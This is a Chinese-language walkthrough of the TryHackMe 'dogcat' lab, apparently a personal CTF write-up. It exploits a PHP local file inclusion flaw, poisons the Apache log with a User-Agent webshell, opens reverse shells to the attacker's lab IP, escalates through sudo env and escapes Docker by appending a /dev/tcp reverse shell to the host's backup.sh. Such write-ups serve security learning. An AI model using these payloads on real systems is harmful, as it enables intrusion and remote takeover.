【THM】dogcat练习
【THM】dogcat练习
与本文相关的TryHackMe实验房间链接:TryHackMe | dogcat
简介:我做了一个网站,你可以看狗和/或猫的图片!通过LFI攻击PHP应用程序并突破docker容器。
我制作了这个网站,用于使用 PHP 查看猫和狗的图像。如果你情绪低落,来看看一些狗/猫吧!
这台机器可能需要几分钟才能完全启动。
第一题:flag1是多少
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -Pn -sV -T4 10.10.52.90
可以发现目标开放了2个端口:22/tcp ssh服务、80/tcp http服务
第二步
访问网站
我们先进入网站看看界面
我们可以在这选择看看猫猫或者狗狗的图片:
我们可以发现每当我们点击按钮时,都有在以GET请求发送“view”参数,我们注意一下
第三步
信息收集
我们先看看网页的源码里面会不会藏了什么东西:
没啥有用的。
再优先查看robots.txt来看看这个网站会不会有什么见不得人的文件,404 not found
使用gobuster工具扫描网站目录:
gobuster dir -u http://10.10.52.90 -w directory-list-2.3-medium.txt -x txt,html,php,js,zip
-x 添加后缀
(这里我换了个做题更好用一些的字典)
再在新标签页打开猫猫或狗狗图片,我们能大概猜测了解网站的目录结构:根目录下为主页面”index.php“、“flag.php”、“dog.php”、“cat.php”和两个文件夹”cats“、“dogs”,文件夹内有很多图片:
与此同时,flag.php打开发现是一篇白板,直接打开dog.php会随机出现一张狗狗的图片:
第四步
利用注入点
我们猜测参数view=dog时,网站执行了dog.php的内容
我们尝试修改view的参数:
我们无法访问,那么我们尝试一下使用php伪协议进行文件读取
php://filter/read=convert.base64-encode/resource=flag
依然不成功,按照提示“only dogs or cats allowed”可能”view“参数需要包含“dogs”或“cats”,我们尝试添加路径:
php://filter/read=convert.base64-encode/resource=./dogs/../flag
成功回显出flag内容的编码内容,我们进行base64解码:
第二题:flag2是多少
第一步
继续代码审计
我们尝试获取”index.php“的内容:
php://filter/read=convert.base64-encode/resource=./dogs/index
对输出进行解密可以得到:
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
我们进行代码审计,可以明白:
首先会判断“ext”参数是否存在,不存在则在“view”参数的值默认为”.php“添加在”view“参数的末尾,存在则直接添加在”view“参数的末尾;
然后判断”view“参数是否包含“dog”或者“cat”字符,最后只有在”view“参数包含“dog”或者“cat”字符时对“view”参数的文件进行文件包含
理论上我们可以利用”view“参数进行任意文件包含,文件包含可以获取到靶机的敏感文件。但“ext”参数会拼接在文件尾,所以我们让“ext”的值为空“ ”
根据端口扫描的结果,我们可以判断这网站建立在一台linux系统主机,使用apache中间件
那么网站默认的路径即为:/var/www/html
,我们可以给网站发送如此GET请求:
view=/var/www/html/dogs/../../../../../../etc/passwd&ext=
第二步
使用apache的日志文件构造webshell
根据端口扫描的结果,我们可以知道该网站使用的apache版本是2.4.38
它的日志文件位置在:/var/log/apache2/access.log
我们先文件包含查看一下它的内容:
view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=
可以发现apache的日志文件内容过多网站显示不出来,我们只好重启靶机……
发现apache的日志文件会记录我们的IP、访问时间、请求方法(GET)、请求地址、请求状态码、User-Agent
因此我们可以构造User-Agent构造HTTP头部webshell:
User-Agent:<?php system($_GET['cmd']);?>
webshell就是参数”cmd“,我们尝试输入指令:
view=/var/www/html/dogs/../../../../../../var/log/apache2/access.log&ext=&cmd=whoami
我们可以发现命令执行的回显被写入在日志文件中的User-Agent部份
一般情况下我们应该可以直接使用蚁剑或者菜刀工具连接了,但这里我们只有攻击机,于是我们构造反弹shell的脚本,开始监听接收反弹shell:
php -r '$sock=fsockopen("10.10.227.32","777");exec("/bin/bash -i 0>&3 2>&3 1>&3");'
成功得到SHELL,使用以下命令使初始shell稳定化:
python -c "import pty; pty.spawn('/bin/bash')"
第三步
爆!
我们逐层寻找有什么文件,发现了flag:
第三题:flag3是多少
第一步
继续深入提权
我们进入了根目录,尝试进入root目录失败,并且没有home目录,我们查看我们拥有的权限:
我们可以不用密码使用/usr/bin/env命令,我们在GTFOBins中查询,发现可以使用这个命令提权:
提权成功
第二步
爆!!!
进入root目录得到flag:
第四题:flag4是多少
DOCKER逃逸
利用上一个flag的线索
都拿到root权限了才发现还有flag4要寻找,没有什么头绪参考了文章:[安全 - 【Tryhackme】dogcat(LFI+文件解析漏洞,Docker逃逸) - 个人文章 - SegmentFault 思否](https://fmash16.github.io/content/writeups/tryhackme/thm-DogCat.html)
上一题的flag给出了线索:”different environment“
我们可以在根目录下发现一个dockerenv文件,这说明我们正在运行的的linux系统是在docker中运行的容器,也就是说我们还可以继续深入从docker容器中逃出来进入linux系统!
/opt/backups
应该是宿主机和Docker机器的共享文件夹
查看/opt/backups
下的backup.sh
文件,猜测这个脚本会被宿主机定时执行
我们把下面的命令追加到backup.sh
文件:
echo 'bash -i >& /dev/tcp/10.10.227.32/666 0>&1' >> backup.sh
再监听一个端口,等待大约一分钟,脚本被定时执行,我们可以收到宿主机的反弹shell,拿到flag4: